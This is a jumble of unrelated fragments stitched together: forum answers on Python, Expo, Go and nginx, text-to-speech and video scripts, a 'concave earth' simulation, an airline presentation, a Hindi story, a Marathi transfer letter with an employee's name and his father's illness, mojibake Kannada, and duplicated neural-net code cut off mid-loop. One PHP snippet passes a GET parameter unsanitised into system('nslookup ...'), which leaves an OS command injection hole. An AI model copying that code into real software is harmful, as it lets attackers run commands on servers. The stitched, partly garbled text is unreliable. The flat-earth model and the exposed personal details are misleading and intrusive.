安装对应版本的devel,我是python3.11 我安装python3-devel不能解决问题,安装python311-dev可以解决问题了
yum install python311-devel
pip3 install uwsgi
Установил все. import * as Location from 'expo-location' import * as TaskManager from 'expo-task-manager' Программа скомпилировалась и запустилась. Но ничего не делает. В чем может быть проблема?
Вы нашли решение? Столкнулся с такой же проблемой, но не уверен, что это системная невозможность
طرح مهر ارسال به سراسر کشور بهترین قیمت و برندها
Обычно nginx возвращает весь путь сайта (без меток) в переменной $_GET['q'], и для обработки можно использовать $path=explode("/", $_GET['q']); и дальше по усмотрению. Всё придётся делать в index.php и подгружать файлы через include. Так не придётся мучительно настраивать файл конфигурации, изучать правила и перезагружать сервер.
from pydub import AudioSegment
from gtts import gTTS
# Текст из первого варианта
lyrics = """
Ты не гладь против шерсти, не трогай душу вслепую,
Я был весь в иголках, но тянулся к тебе — как к святому.
Ты хотела тепла — я отдал тебе пепел из сердца,
А теперь твои пальцы царапают — будто мне нечем защититься.
Я не был добрым — но я был настоящим,
Слово — не сахар, но всегда без фальши.
Ты гладила боль — а она лишь росла,
Ты думала, трогаешь шёлк, а трогала шрамы со дна.
Ты вырезала мой голос — будто был он из плёнки,
Но память играет его снова, без купюр, как в комнатке.
Мы тонем, не глядя друг другу в глаза,
Ты гладь по течению — а я всегда против шла.
Я не хотел стать врагом — но ты сделала монстра,
Я гладил любовь, а ты рвала её остро.
Ты ищешь во мне то, чего не было вовсе,
Но, чёрт, я пытался, как пламя в ледяной кости.
"""
# Генерация озвучки с помощью gTTS
tts = gTTS(text=lyrics, lang='ru')
tts.save("/mnt/data/vocal_track.mp3")
# Путь к сохранённому файлу
"/mnt/data/vocal_track.mp3"
from pydub import AudioSegment
from gtts import gTTS
# Текст из первого варианта
lyrics = """
Ты не гладь против шерсти, не трогай душу вслепую,
Я был весь в иголках, но тянулся к тебе — как к святому.
Ты хотела тепла — я отдал тебе пепел из сердца,
А теперь твои пальцы царапают — будто мне нечем защититься.
Я не был добрым — но я был настоящим,
Слово — не сахар, но всегда без фальши.
Ты гладила боль — а она лишь росла,
Ты думала, трогаешь шёлк, а трогала шрамы со дна.
Ты вырезала мой голос — будто был он из плёнки,
Но память играет его снова, без купюр, как в комнатке.
Мы тонем, не глядя друг другу в глаза,
Ты гладь по течению — а я всегда против шла.
Я не хотел стать врагом — но ты сделала монстра,
Я гладил любовь, а ты рвала её остро.
Ты ищешь во мне то, чего не было вовсе,
Но, чёрт, я пытался, как пламя в ледяной кости.
"""
# Генерация озвучки с помощью gTTS
tts = gTTS(text=lyrics, lang='ru')
tts.save
я новичок во объясните пожалуйста как убрать флаг
Проверь коэффициенты перевода единиц:
Масса: В геометрических единицах (G=c=1) 1 солнечная масса (M☉) соответствует ~1.477 км. Чтобы получить массу в M☉, раздели результат на этот коэффициент.
Уравнение состояния (EOS):
eos(p)
корректна для твоих единиц. Например, если EOS предполагает определённые коэффициенты (вроде 20 в твоем коде), проверь их соответствие единицам давления и плотности энергии.Начальные условия и параметры интегрирования:
1e-13
может быть слишком малым. Проверь физически реалистичные значения для нейтронных звезд (например, ~1e35 Па в ядре).Проверка условий остановки:
y[0] > 1e-17
может преждевременно останавливать интегрирование. Попробуй уменьшить этот порог или использовать условие на радиус.Для уравнения состояния с известным решением (например, e = 3p
) убедись, что код даёт ожидаемые массу и радиус.
Сравни результаты с литературными данными, учитывая коэффициенты перевода единиц.
你遇到的问题主要是由于 main
函数在子 goroutine 完成工作之前就退出了。在 Go 中,当 main
函数返回时,整个程序就会终止,而不管其他 goroutine 是否还在运行。
sync.WaitGroup
sync.WaitGroup 是 Go 标准库中用于等待一组 goroutine 完成的工具。你可以使用它来确保 main
函数在所有子 goroutine 完成后再退出。
2. 简化 receiver
函数
你可以使用 for...range
循环来简化 receiver
函数,它会自动处理通道关闭的情况。
总结
通过使用 sync.WaitGroup
,你可以确保 main
函数等待所有子 goroutine 完成工作后再退出,从而避免程序提前终止。同时,使用 for...range
循环可以简化通道的接收操作。
я тоже изменил свой package.json на то что было указано в терминале после это написал в терминале npx expo i --fix и все заработало)
Qudos!
30 chracters, why?............
((1,"c"), (23, "a"), (32,"b"))
+----------------------------------+---------+------------------------+----------------+
| Col1 | Col2 | Col3 | Numeric Column |
+----------------------------------+---------+------------------------+----------------+
| Value 1 | Value 2 | 123 | 10.0 |
| Separate | cols | with a tab or 4 spaces | -2,027.1 |
| This is a row with only one cell | | | |
+----------------------------------+---------+------------------------+----------------+
+----------------------------------+---------+------------------------+----------------+
| Col1 | Col2 | Col3 | Numeric Column |
+----------------------------------+---------+------------------------+----------------+
| Value 1 | Value 2 | 123 | 10.0 |
| Separate | cols | with a tab or 4 spaces | -2,027.1 |
| This is a row with only one cell | | | |
+----------------------------------+---------+------------------------+----------------+
¸À.PÁ.¤.EA, UÁæ«ÄÃt PÀÄrAiÀÄĪÀ ¤ÃgÀÄ ªÀÄvÀÄÛ £ÉʪÀÄð®å G.«¨sÁUÀ, ªÀÄAUÀ¼ÀÆgÀÄ EªÀgÀ PÉÆA¥ÀzÀªÀÅ UÉÆÃ±Á¯É §½AiÀÄ ºÉƸÀ ºÀZï.n ¸ÁܪÀgÀPÉÌ 350 PÉ«J «zÀÄåvï ¸ÀA¥ÀPÀð PÀ°à¸ÀĪÀ PÁªÀÄUÁjUÉ ¨ÉÃPÁzÀ G¥ÀPÀgÀt/ ¸ÁªÀiÁVæUÀ¼À C£ÀÄªÉÆÃzÀ£ÉUÁV gÉÃSÁavÀæUÀ¼À vÀSÉÛ
# نموذج محاكاة الأرض المقعّرة وحركة الشمس والقمر
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
# إعدادات الشكل العام
R = 1.0 # نصف قطر الأرض (الوحدة الأساسية)
r_s = 0.8 * R # نصف قطر مدار الشمس داخل القبة
r_c = 0.9 * R # نصف قطر مدار القمر داخل القبة
z_s = 0.6 * R # ارتفاع مدار الشمس
z_c = 0.7 * R # ارتفاع مدار القمر
omega_s = 2 * np.pi / 24 # سرعة زاوية للشمس (دورة كل 24 ساعة)
omega_c = 2 * np.pi / 28 # سرعة زاوية للقمر (دورة كل 28 ساعة)
# عدد الخطوات الزمنية
steps = 500
t = np.linspace(0, 24, steps) # الزمن بوحدة الساعات
# مسارات الشمس والقمر
x_s = r_s * np.cos(omega_s * t)
y_s = r_s * np.sin(omega_s * t)
z_s_arr = np.full_like(t, z_s)
x_c = r_c * np.cos(-omega_c * t)
y_c = r_c * np.sin(-omega_c * t)
z_c_arr = np.full_like(t, z_c)
# رسم ثلاثي الأبعاد
fig = plt.figure(figsize=(10, 8))
ax = fig.add_subplot(111, projection='3d')
# رسم سطح الأرض (نصف كرة مقعرة)
u = np.linspace(0, np.pi, 30)
v = np.linspace(0, np.pi, 30)
u, v = np.meshgrid(u, v)
x = R * np.sin(u) * np.cos(v)
y = R * np.sin(u) * np.sin(v)
z = -R * np.cos(u)
ax.plot_surface(x, y, z, color='lightblue', alpha=0.3)
# مسار الشمس
ax.plot(x_s, y_s, z_s_arr, color='orange', label='مسار الشمس')
# مسار القمر
ax.plot(x_c, y_c, z_c_arr, color='gray', label='مسار القمر')
# رسم القبة العلوية (السماء)
u = np.linspace(0, np.pi, 30)
v = np.linspace(0, 2 * np.pi, 30)
u, v = np.meshgrid(u, v)
x_cup = R * np.sin(u) * np.cos(v)
y_cup = R * np.sin(u) * np.sin(v)
z_cup = R * np.cos(u)
ax.plot_surface(x_cup, y_cup, z_cup, color='skyblue', alpha=0.2)
ax.set_xlim([-R, R])
ax.set_ylim([-R, R])
ax.set_zlim([-R, R])
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')
ax.set_title('نموذج الأرض المقعرة وحركة الشمس والقمر')
ax.legend()
plt.tight_layout()
plt.show()
Emirates Әуежайы және Компаниясы туралы қысқаша презентация (Бағасы қосылған)
---
1. Кіріспе
Emirates — әлемнің жетекші әуе компанияларының бірі.
Дубай халықаралық әуежайы (DXB) — әлемдегі ең көп жолаушы тасымалдайтын әуежайлардың бірі.
Әуежай жыл сайын 90 миллионнан астам жолаушыға қызмет көрсетеді.
Бағасы: Emirates әуе билеттерінің бағасы бағытқа, саяхат уақытына және ұшу классына байланысты өзгереді. Орташа баға эконом-класстағы билет үшін 500-1000 АҚШ долларын құрайды.
---
2. Дубай халықаралық әуежайы (DXB)
Әлемдегі ең үлкен транзиттік хаб.
Ұшу-қону жолақтары: 4,5 км ұзындығы бар әлемдегі ең ұзын жолақтардың бірі.
Emirates үшін арнайы терминал: 3 терминалдың бірі тек Emirates рейстеріне арналған.
---
3. Emirates Әуе Компаниясының Ерекшеліктері
Әлемдік деңгейдегі қызмет: Бизнес және бірінші класс жолаушылары үшін жеке бөлмелер мен VIP қызметтер.
Airbus A380 флоттары: Әлемдегі ең үлкен A380 флоттарының бірі.
SkyCargo: Әуе компаниясы әлем бойынша жүк тасымалдаудың жетекші ойыншысы.
---
4. Экологиялық Жауапкершілік
Жасыл технологиялар: Экологиялық таза ұшақтар мен энергия тиімділігін арттыру.
Көміртек шығарындыларын азайту мақсатында жаңа ұшақтар пайдалануға енгізілген.
---
5. Қорытынды
Emirates әуе компаниясы мен Дубай халықаралық әуежайы әлемдегі ең үздік әуе тасымалдарын ұсынатын орталықтар болып табылады.
Бағасы: Қызмет көрсетудің жоғары сапасына сәйкес, Emirates рейстерінің бағасы әдетте жоғары деңгейде, бірақ сапа мен ыңғайлылыққа сәйкес келеді.
---
अर्जुन एक छोटे से गाँव में रहता था। वह एक ऐसा लड़का था जिसके मन में हमेशा नए-नए विचार आते रहते थे। उसे कहानियाँ बनाने और लोगों को अपनी कहानियों से प्रभावित करने का बहुत शौक था। उसका सपना था कि वह अपनी कहानियों के माध्यम से दुनिया को एक नया दृष्टिकोण दे सके।
अर्जुन के गाँव में, जीवन सरल और शांत था। लोग अपनी रोज़मर्रा की ज़िंदगी में व्यस्त रहते थे, लेकिन अर्जुन की कल्पनाएँ उसे एक अलग दुनिया में ले जाती थीं। वह घंटों तक पेड़ों के नीचे बैठकर कहानियाँ लिखता रहता था, और उसकी कहानियाँ उसके गाँव के लोगों को भी बहुत पसंद आती थीं।
एक दिन, अर्जुन ने एक प्रतियोगिता के बारे में सुना, जिसमें कहानीकारों को अपनी कहानियाँ सुनाने का मौका मिलता था। अर्जुन ने इस प्रतियोगिता में भाग लेने का फैसला किया, और उसने अपनी सबसे अच्छी कहानी लिखी। उसकी कहानी एक ऐसे लड़के के बारे में थी जो अपने सपनों को पूरा करने के लिए सभी मुश्किलों का सामना करता है।
प्रतियोगिता के दिन, अर्जुन थोड़ा घबराया हुआ था, लेकिन जैसे ही उसने अपनी कहानी सुनाना शुरू किया, उसका आत्मविश्वास बढ़ता गया। उसकी कहानी ने सभी को मंत्रमुग्ध कर दिया, और उसे प्रतियोगिता का विजेता घोषित किया गया।
अर्जुन की जीत ने उसके गाँव में हलचल मचा दी। लोग उसकी प्रतिभा से बहुत प्रभावित हुए, और उसे एक प्रेरणा के रूप में देखने लगे। अर्जुन ने अपनी सफलता का उपयोग अपने गाँव के लोगों की मदद करने के लिए किया। उसने एक पुस्तकालय खोला, जहाँ बच्चे और वयस्क दोनों कहानियाँ पढ़ सकते थे और सीख सकते थे।
अर्जुन की कहानी हमें यह सिखाती है कि यदि हमारे पास सपने हैं और हम उन सपनों को पूरा करने के लिए मेहनत करते हैं, तो हम कुछ भी हासिल कर सकते हैं।
प्रति,
महाव्यवस्थापक (क. व. औ. सं.)
महाराष्ट्र राज्य मार्ग परिवहन महामंडळ
मध्यवर्ती कार्यालय, महाराष्ट्र वाहतूक भवन
डॉ. मा. ना. मार्ग, मुंबई – ४०० ००८
विषय: वडील सतत आजारी असल्यामुळे अंतरविभागीय बदली करण्याबाबत विनंती
महोदय,
मी, उत्तम प्रल्हाद कोकाटे (वहाक – १४००१९), सध्या बीड विभागामधील माजलगाव आगार येथे २०१४ पासून कार्यरत आहे. माझ्या कार्यकाळात मी माझी सेवा समाधानकारकपणे बजावली आहे.
सदरहू विनंती करण्याचे कारण असे की, माझे वडील यांना कर्करोग व इतर गंभीर आजार असून त्यांच्यावर वैद्यकीय उपचार सुरू आहेत. ते वयोवृद्ध असल्यामुळे त्यांची नियमित देखभाल आवश्यक आहे, जी मीच करू शकतो.
त्यामुळे, माझी अंतरविभागीय बदली बीड विभागातून अकोला विभागातील रिसोड आगार येथे करण्यात यावी, अशी मी नम्र विनंती करतो. वडिलांच्या आजारासंबंधी वैद्यकीय कागदपत्रे संलग्न केलेली आहेत.
आपल्या सहकार्याची अपेक्षा आहे.
आपला विश्वासू,
उत्तम प्रल्हाद कोकाटे
वहाक (१४००१९)
रा.
प. म. माजलगाव आगार
<?php
if (isset($_GET['domain'])) {
echo '\<pre\>';
$domain = $\_GET\['domain'\];
$lookup = system("nslookup {$domain}");
echo($lookup);
echo '\</pre\>';
}
?>
from moviepy.editor import VideoFileClip, AudioFileClip, concatenate_videoclips, CompositeAudioClip, CompositeVideoClip, TextClip, concatenate_audioclips
from gtts import gTTS
import os
# Paths
video_path = "/mnt/data/Video-85.mp4"
voiceover_path = "/mnt/data/voiceover.mp3"
final_video_path = "/mnt/data/final_video.mp4"
bg_music_path = "/mnt/data/background_music.mp3"
# Script (same as above)
script = """
कभी इन पेड़ों की छांव में हमने बचपन बिताया था…
कभी इनकी शाखों ने पंछियों को घर दिया था…
आज, वही पेड़…
काटे जा रहे हैं,
बिना आवाज़ किए गिरते जा रहे हैं,
जैसे उनकी कोई अहमियत ही नहीं।
हैदराबाद…
जो कभी हरियाली के लिए जाना जाता था,
आज वहाँ की हरियाली खतरे में है।
ये सिर्फ पेड़ नहीं हैं…
ये हमारे सांसों की उम्मीद हैं,
हमारे बच्चों का भविष्य हैं,
हमारी ज़िन्दगी की जड़ें हैं।
क्या हम इतने मजबूर हो गए हैं,
कि पेड़ गिरते रहें और हम चुप रहें?
अब वक़्त है बोलने का।
अब वक़्त है खड़े होने का।
अब वक़्त है पेड़ों को बचाने का।
आवाज़ उठाओ… क्योंकि जब आख़िरी पेड़ कट जाएगा,
तब सिर्फ पछतावा बचेगा।
"""
# Generate voiceover using gTTS
tts = gTTS(script, lang='hi')
tts.save(voiceover_path)
# Load video and voiceover
video = VideoFileClip(video_path)
voiceover = AudioFileClip(voiceover_path)
# Adjust video duration to match voiceover
video = video.set_duration(voiceover.duration)
# Create final audio (just voiceover for now)
video = video.set_audio(voiceover)
# Export the final video
video.write_videofile(final_video_path, codec="libx264", audio_codec="aac")
final_video_path
استعادة البرنامج الأساسية الاقتراضية تثبيت تلقائي 70 خطأ Google Play "خطأ أثناء استرداد المعلومات من الخادم [DF-DFERH-01]" باستخدام android-latest-release
Добавляю ответ для рассуждения чтобы получить уведомление
thanks, all good!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
6 years down the line and that's still the case.....................................................
در فایل ادمین به ترتیب دلخواه مدل هارو به پنل مدیریت ادمین معرفی کن.
### **6. إذا كنت تريد طريقة أبسط (بدون APIs)**
جرّب استخدام **مكتبة BeautifulSoup** لاستخراج الصور من صفحات الويب مباشرةً (لكن قد ينتهك شروط استخدام بعض المواقع):
```python
import requests
from bs4 import BeautifulSoup
url = "https://example.com/products"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# استخراج جميع صور المنتجات
product_images = []
for img in soup.find_all('img'):
product_images.append(img\['src'\])
print(product_images)
```
---
### **ملاحظة أخيرة**:
إذا لم تنجح أي من الحلول أعلاه، شارك معي:
1. **الخطوات التي اتبعتها بالضبط**.
2. **نص الخطأ الذي يظهر لك** (صورة أو نصًا).
3. **مثال عن الكود الذي كتبته**.
سأحاول مساعدتك في تحديد المشكلة بدقة! 🔍
นั้นแหละที่ทำไมผมจึง"ไม่ลบส่วนหัว"ออกเพราะมันคือหลักฐานชั้นดีสำหรับผู้แอบอ้าง สวมรอย ขโมยเปลี่ยนแปลงการเข้าใช้บัญชีของผมมันจะมีผลในชั้น"ศาล"เมื่อเรียกหาข้อมูลหลักฐานครับ
(นาย อนุรักษ์ ศรีจันทรา)ผู้ให้ข้อมูลและเจ้าของบัญชีใช้งานเข้าใช้
Step # | Text |
---|---|
1 | Circle((0,0),1) |
3 | B=Rotate(A,α,O) |
Step # | Text |
---|---|
4 | Segment(A,O) |
5 | Arc(c,A,B) |
Step # | Text |
---|---|
6 | (α,y(B)) |
7 | (α,x(B)) |
Step # | Text |
---|---|
8 | Angle(A,O,B) |
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# initialize
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=[[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 2], [1, 3], [2, 3], [3, 3], [4, 1], [4, 2], [4, 3]]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
t=[0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v1 = [.1, -.1, .1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v2 = [.1, .1, -.1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w = [-.1, .1, .1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
lr = 0.0075
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
alpha = 0.0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(1000):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x=X[i]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(classify(x, v1, v2, w))
# feedforward
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
# backward
y_error = (1-t[i])*y - t[i]*(1-y)
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#print(y_error)
#print()
z1_error = y_error*w[1]*(1-z1)*(1+z1)
z2_error = y_error*w[2]*(1-z2)*(1+z2)
# update weights
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
w[1] = w[1] - lr*y_error*z1 - lr*alpha*w[1]
w[2] = w[2] - lr*y_error*z2 - lr*alpha*w[2]
v1[0] = v1[0] - lr*z1_error*1 - lr*alpha*v1[0]
v1[1] = v1[1] - lr*z1_error*x[0] - lr*alpha*v1[1]
v1[2] = v1[2] - lr*z1_error*x[1] - lr*alpha*v1[2]
v2[0] = v2[0] - lr*z2_error*1 - lr*alpha*v2[0]
v2[1] = v2[1] - lr*z2_error*x[0] - lr*alpha*v2[1]
v2[2] = v2[2] - lr*z2_error*x[1] - lr*alpha*v2[2]
print("TE: \t%0.3f" %total_error)
for x in X:
print(classify(x, v1, v2, w))
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
p=np.array([classify(d, v1, v2, w) for d in D])
p=p.reshape(xx.shape)
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=20)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=20)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
Dp = []
t = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for d in D:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if d[0] > 2 and d[0] < 3 and d[1] > 2 and d[1] < 3:
Dp.append(d)
t.append(1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
elif (d[0] < 1 or d[0] > 4) or (d[1] < 1 or d[1] > 4):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if np.random.rand() < 0.05:
Dp.append(d)
t.append(0)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
np.mean(t)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=3)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=3)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
num_hidden = 4
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def classify2(x, vs, w):
nh = len(vs)
zs = []
for i in range(nh):
v = vs[i]
zs.append(np.tanh(v[0] + np.dot(v[1:], x)))
y = 1./(1.+np.exp(-w[0]-np.dot(w[1:], zs)))
return y
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
vs = []
w = []
w.append(np.random.rand()*2-1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(num_hidden):
v = []
for _ in range(3):
v.append(np.random.rand()*2-1)
vs.append(v)
w.append(np.random.rand()*2-1)
lr = 0.005
alpha = 0.0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
try:
for _ in range(100):
total_error = 0
for i in range(len(X[:])):
x=X[i]
#print(classify(x, v1, v2, w))
# feedforward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# initialize
X=[[1, 1], [1, 2], [2, 1], [2, 2], [3, 1], [3, 2], [1, 3], [2, 3], [3, 3], [4, 1], [4, 2], [4, 3]]
t=[0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1]
v1 = [.1, -.1, .1]
v2 = [.1, .1, -.1]
w = [-.1, .1, .1]
lr = 0.0075
alpha = 0.0
for _ in range(1000):
total_error = 0
for i in range(len(X)):
x=X[i]
#print(classify(x, v1, v2, w))
# feedforward
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
# backward
y_error = (1-t[i])*y - t[i]*(1-y)
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#print(y_error)
#print()
z1_error = y_error*w[1]*(1-z1)*(1+z1)
z2_error = y_error*w[2]*(1-z2)*(1+z2)
# update weights
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
w[1] = w[1] - lr*y_error*z1 - lr*alpha*w[1]
w[2] = w[2] - lr*y_error*z2 - lr*alpha*w[2]
v1[0] = v1[0] - lr*z1_error*1 - lr*alpha*v1[0]
v1[1] = v1[1] - lr*z1_error*x[0] - lr*alpha*v1[1]
v1[2] = v1[2] - lr*z1_error*x[1] - lr*alpha*v1[2]
v2[0] = v2[0] - lr*z2_error*1 - lr*alpha*v2[0]
v2[1] = v2[1] - lr*z2_error*x[0] - lr*alpha*v2[1]
v2[2] = v2[2] - lr*z2_error*x[1] - lr*alpha*v2[2]
print("TE: \t%0.3f" %total_error)
for x in X:
print(classify(x, v1, v2, w))
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
p=np.array([classify(d, v1, v2, w) for d in D])
p=p.reshape(xx.shape)
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=20)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=20)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
nx = ny = 200
x_min = y_min = 0
x_max = y_max = 5
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
D=np.c_[xx.ravel(), yy.ravel()]
Dp = []
t = []
for d in D:
if d[0] > 2 and d[0] < 3 and d[1] > 2 and d[1] < 3:
Dp.append(d)
t.append(1)
elif (d[0] < 1 or d[0] > 4) or (d[1] < 1 or d[1] > 4):
if np.random.rand() < 0.05:
Dp.append(d)
t.append(0)
np.mean(t)
X=Dp
for i in range(len(X)):
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=3)
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=3)
num_hidden = 4
def classify2(x, vs, w):
nh = len(vs)
zs = []
for i in range(nh):
v = vs[i]
zs.append(np.tanh(v[0] + np.dot(v[1:], x)))
y = 1./(1.+np.exp(-w[0]-np.dot(w[1:], zs)))
return y
X=Dp
vs = []
w = []
w.append(np.random.rand()*2-1)
for _ in range(num_hidden):
v = []
for _ in range(3):
v.append(np.random.rand()*2-1)
vs.append(v)
w.append(np.random.rand()*2-1)
lr = 0.005
alpha = 0.0
try:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(100):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X[:])):
